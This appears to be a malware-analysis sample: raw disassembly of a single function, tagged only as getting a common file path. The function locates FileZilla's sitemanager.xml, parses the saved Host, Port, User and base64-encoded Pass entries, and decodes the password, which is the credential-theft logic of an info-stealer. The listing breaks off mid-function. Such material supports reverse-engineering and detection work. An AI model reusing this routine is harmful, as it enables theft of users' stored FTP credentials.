Function at 0x1800af630
Capabilities:
Get common file path

Disassembly:
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x18012a010]
xor rax, rsp
mov qword [rbp + 0x240], rax
xor edi, edi
mov qword [rcx + 0x18], 0xf
mov r14, rdx
mov qword [rcx + 0x10], rdi
mov r12, rcx
mov byte [rcx], dil
lea rax, [rbp + 0x130]
mov qword [rbp + 0xc0], rdi
lea edx, [rdi + 0x1a]
mov qword [rbp + 0xc8], 0xf
xor r9d, r9d
mov byte [rbp + 0xb0], dil
xor r8d, r8d
mov qword [rbp + 0x100], rdi
xor ecx, ecx
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], dil
mov r13d, edi
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], dil
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], dil
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rax, [rbp + 0x130]
mov qword [rbp + 0x80], rdi
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], dil
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x1800af720
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x70]
call fcn.1800c2b50
mov r8d, 1
lea rdx, [0x180118ce8]
lea rcx, [rbp + 0x70]
call fcn.1800c22c0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x1800af7ad
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800af7a8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11e5
call fcn.1800cf9b0
mov r8d, 0x19
mov qword [rbp + 0x80], rdi
lea rdx, str.FileZilla_sitemanager.xml
mov qword [rbp + 0x88], 0xf
lea rcx, [rsp + 0x30]
mov byte [rbp + 0x70], dil
call fcn.1800c22c0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800af83b
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800af836
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11eb
call fcn.1800cf9b0
cmp qword [rbp + 0x128], 0x10
lea rcx, [rbp + 0x110]
mov qword [rsp + 0x3a0], rbx
lea rdx, [0x180118d60]
cmovae rcx, qword [rbp + 0x110]
mov qword [rsp + 0x358], rsi
mov qword [rsp + 0x350], r15
call fcn.1800db8c8
test rax, rax
je 0x1800b115b
mov rcx, rax
call fcn.1800db958
mov rcx, qword [rbp + 0x120]
inc rcx
call fcn.1800cfd74
cmp qword [rbp + 0x128], 0x10
lea rcx, [rbp + 0x110]
mov rdx, rax
mov r8, rax
cmovae rcx, qword [rbp + 0x110]
sub rdx, rcx
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1800af8c0
lea rdx, [0x180118d60]
mov rcx, r8
call fcn.1800db8c8
mov rcx, rax
mov r15, rax
call fcn.1800de9b0
test eax, eax
jne 0x1800b10aa
lea rbx, [0x180133780]
nop word [rax + rax]
mov r8, r15
mov edx, 0x800
mov rcx, rbx
call fcn.1800dd4d8
test rax, rax
je 0x1800b109a
mov qword [rbp + 0x80], rdi
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
inc r8
cmp byte [rbx + r8], 0
jne 0x1800af936
mov rdx, rbx
lea rcx, [rbp + 0x70]
call fcn.1800c2b50
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800af97d
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800af9f8
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800af9d1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b11f1
mov rcx, rax
call fcn.1800cf9b8
mov rcx, rax
test rax, rax
je 0x1800b11f7
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800af9df
test rcx, rcx
je 0x1800af9dd
call fcn.1800cf9b8
jmp 0x1800af9df
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d3040
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._Host_
mov qword [rbp - 0x80], 0
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
call fcn.1800c2b50
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.18008cd30
test eax, eax
jle 0x1800afcdf
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800afa71
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800afaec
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800afac5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b11f1
mov rcx, rax
call fcn.1800cf9b8
mov rcx, rax
test rax, rax
je 0x1800b11f7
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800afad3
test rcx, rcx
je 0x1800afad1
call fcn.1800cf9b8
jmp 0x1800afad3
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d3040
mov qword [rsp + 0x68], rbx
mov r8d, 7
mov qword [rsp + 0x60], rdi
lea rdx, str.__Host_
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
call fcn.1800c2b50
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.18008cd30
test eax, eax
jle 0x1800afcdf
mov rsi, qword [rbp + 0x88]
lea rcx, [rbp + 0x70]
mov rdi, qword [rbp + 0x70]
lea r9, str._Host_
mov rbx, qword [rbp + 0x80]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c3b30
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800b11d9
sub rbx, rcx
lea rdx, [rbp + 0x70]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800c2b50
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x1800afbf5
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800afbf0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11f7
call fcn.1800cf9b0
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0xb0]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Host_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0xb0], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0xc0], xmm1
cmovae rcx, rsi
call fcn.1800c3b30
cmp rbx, rax
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c2b50
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x1800afcc7
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800afcc2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11f7
call fcn.1800cf9b0
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm1
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800afd10
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800afd8b
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800afd64
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b11f1
mov rcx, rax
call fcn.1800cf9b8
mov rcx, rax
test rax, rax
je 0x1800b11f7
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800afd72
test rcx, rcx
je 0x1800afd70
call fcn.1800cf9b8
jmp 0x1800afd72
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d3040
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._Port_
mov qword [rbp - 0x80], 0
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
call fcn.1800c2b50
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.18008cd30
test eax, eax
jle 0x1800b0072
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800afe04
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800afe7f
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800afe58
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b11f1
mov rcx, rax
call fcn.1800cf9b8
mov rcx, rax
test rax, rax
je 0x1800b11f7
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800afe66
test rcx, rcx
je 0x1800afe64
call fcn.1800cf9b8
jmp 0x1800afe66
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d3040
mov qword [rsp + 0x68], rbx
mov r8d, 7
mov qword [rsp + 0x60], rdi
lea rdx, str.__Port_
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
call fcn.1800c2b50
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.18008cd30
test eax, eax
jle 0x1800b0072
mov rsi, qword [rbp + 0x88]
lea rcx, [rbp + 0x70]
mov rdi, qword [rbp + 0x70]
lea r9, str._Port_
mov rbx, qword [rbp + 0x80]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c3b30
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800b11d9
sub rbx, rcx
lea rdx, [rbp + 0x70]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800c2b50
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1800aff88
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800aff83
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11f7
call fcn.1800cf9b0
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0xd0]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Port_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0xd0], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0xe0], xmm1
cmovae rcx, rsi
call fcn.1800c3b30
cmp rbx, rax
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c2b50
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1800b005a
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0055
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11f7
call fcn.1800cf9b0
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm1
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800b00a3
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800b011e
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800b00f7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b11f1
mov rcx, rax
call fcn.1800cf9b8
mov rcx, rax
test rax, rax
je 0x1800b11f7
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800b0105
test rcx, rcx
je 0x1800b0103
call fcn.1800cf9b8
jmp 0x1800b0105
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d3040
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._User_
mov qword [rbp - 0x80], 0
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
call fcn.1800c2b50
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.18008cd30
test eax, eax
jle 0x1800b0405
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800b0197
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800b0212
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800b01eb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b11f1
mov rcx, rax
call fcn.1800cf9b8
mov rcx, rax
test rax, rax
je 0x1800b11f7
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800b01f9
test rcx, rcx
je 0x1800b01f7
call fcn.1800cf9b8
jmp 0x1800b01f9
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d3040
mov qword [rsp + 0x68], rbx
mov r8d, 7
mov qword [rsp + 0x60], rdi
lea rdx, str.__User_
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
call fcn.1800c2b50
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.18008cd30
test eax, eax
jle 0x1800b0405
mov rsi, qword [rbp + 0x88]
lea rcx, [rbp + 0x70]
mov rdi, qword [rbp + 0x70]
lea r9, str._User_
mov rbx, qword [rbp + 0x80]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c3b30
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800b11d9
sub rbx, rcx
lea rdx, [rbp + 0x70]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800c2b50
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x1800b031b
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0316
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11f7
call fcn.1800cf9b0
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0xf0]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__User_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0xf0], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x100], xmm1
cmovae rcx, rsi
call fcn.1800c3b30
cmp rbx, rax
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c2b50
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x1800b03ed
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b03e8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11f7
call fcn.1800cf9b0
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm1
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800b0436
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800b04b1
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800b048a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b11f1
mov rcx, rax
call fcn.1800cf9b8
mov rcx, rax
test rax, rax
je 0x1800b11f7
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800b0498
test rcx, rcx
je 0x1800b0496
call fcn.1800cf9b8
jmp 0x1800b0498
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d3040
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rdi
lea rdx, str._Pass_encoding_base64__
xor edi, edi
mov qword [rbp - 0x78], 0xf
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x80], rdi
mov byte [rsp + 0x70], dil
lea r8d, [rdi + 0x18]
call fcn.1800c2b50
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.18008cd30
test eax, eax
jle 0x1800b0875
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800b0526
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800b05a1
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800b057a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b11f1
mov rcx, rax
call fcn.1800cf9b8
mov rcx, rax
test rax, rax
je 0x1800b11f7
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800b0588
test rcx, rcx
je 0x1800b0586
call fcn.1800cf9b8
jmp 0x1800b0588
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d3040
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x60], rdi
lea rdx, str.__Pass_
xor edi, edi
mov qword [rbp - 0x58], 0xf
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x60], rdi
mov byte [rbp - 0x70], dil
lea r8d, [rdi + 7]
call fcn.1800c2b50
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.18008cd30
test eax, eax
jle 0x1800b0875
mov rsi, qword [rbp + 0x88]
lea rcx, [rbp + 0x70]
mov rdi, qword [rbp + 0x70]
lea r9, str._Pass_encoding_base64__
mov rbx, qword [rbp + 0x80]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 0x18
cmovae rcx, rdi
call fcn.1800c3b30
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 0x18]
cmp rbx, rcx
jb 0x1800b11d9
sub rbx, rcx
lea rdx, [rbp + 0x70]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800c2b50
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1800b06a6
mov rcx, qword [rbp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b06a1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11f7
call fcn.1800cf9b0
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x90]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Pass_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0x90], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0xa0], xmm1
cmovae rcx, rsi
call fcn.1800c3b30
cmp rbx, rax
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c2b50
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1800b0778
mov rcx, qword [rbp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0773
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11f7
call fcn.1800cf9b0
movups xmm0, xmmword [rsp + 0x30]
lea rdx, [rbp + 0x90]
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rsp + 0x30]
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm1
call fcn.180089ef0
mov rbx, rax
lea rax, [rbp + 0x90]
cmp rax, rbx
je 0x1800b0836
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1800b07f5
mov rcx, qword [rbp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b07f0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11fd
call fcn.1800cf9b0
mov qword [rbp + 0xa8], 0xf
xor edi, edi
mov qword [rbp + 0xa0], rdi
mov byte [rbp + 0x90], dil
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
jmp 0x1800b0838
xor edi, edi
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800b0875
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0870
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b11fd
call fcn.1800cf9b0
mov rax, qword [rbp + 0xc0]
test rax, rax
je 0x1800b108a
cmp qword [rbp + 0x100], 0
je 0x1800b108a
cmp qword [rbp + 0xa0], 0
je 0x1800b108a
mov rcx, qword [r14 + 0x18]
mov rdx, r14
cmp rcx, 0x10
jb 0x1800b08b1
mov rdx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x1800b08c1
cmp byte [rdx], 0x30
jne 0x1800b08c1
mov dl, 1
jmp 0x1800b08c3
xor dl, dl
test dl, dl
je 0x1800b0e4f
lea rdx, [rax + 1]
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
cmp rdx, 0x10
jb 0x1800b08f2
lea rcx, [rbp - 0x50]
call fcn.1800c8f90
mov qword [rbp - 0x40], rdi
mov r8d, 1
lea rdx, [0x180118dc0]
lea rcx, [rbp - 0x50]
call fcn.1800c22c0
cmp qword [rbp + 0xc8], 0x10
lea rdx, [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp - 0x50]
cmovae rdx, qword [rbp + 0xb0]
call fcn.1800c22c0
mov r8d, 1
lea rdx, [0x1801194d8]
lea rcx, [rbp - 0x50]
call fcn.1800c22c0
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0xe8], 0x10
mov r8, qword [rbp + 0xe0]
cmovae rdx, qword [rbp + 0xd0]
call fcn.1800c22c0
mov r8d, 1
lea rdx, [0x180118dbc]
lea rcx, [rsp + 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c22c0
mov r8d, 1
lea rdx, [0x180118dc0]
lea rcx, [rsp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c22c0
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
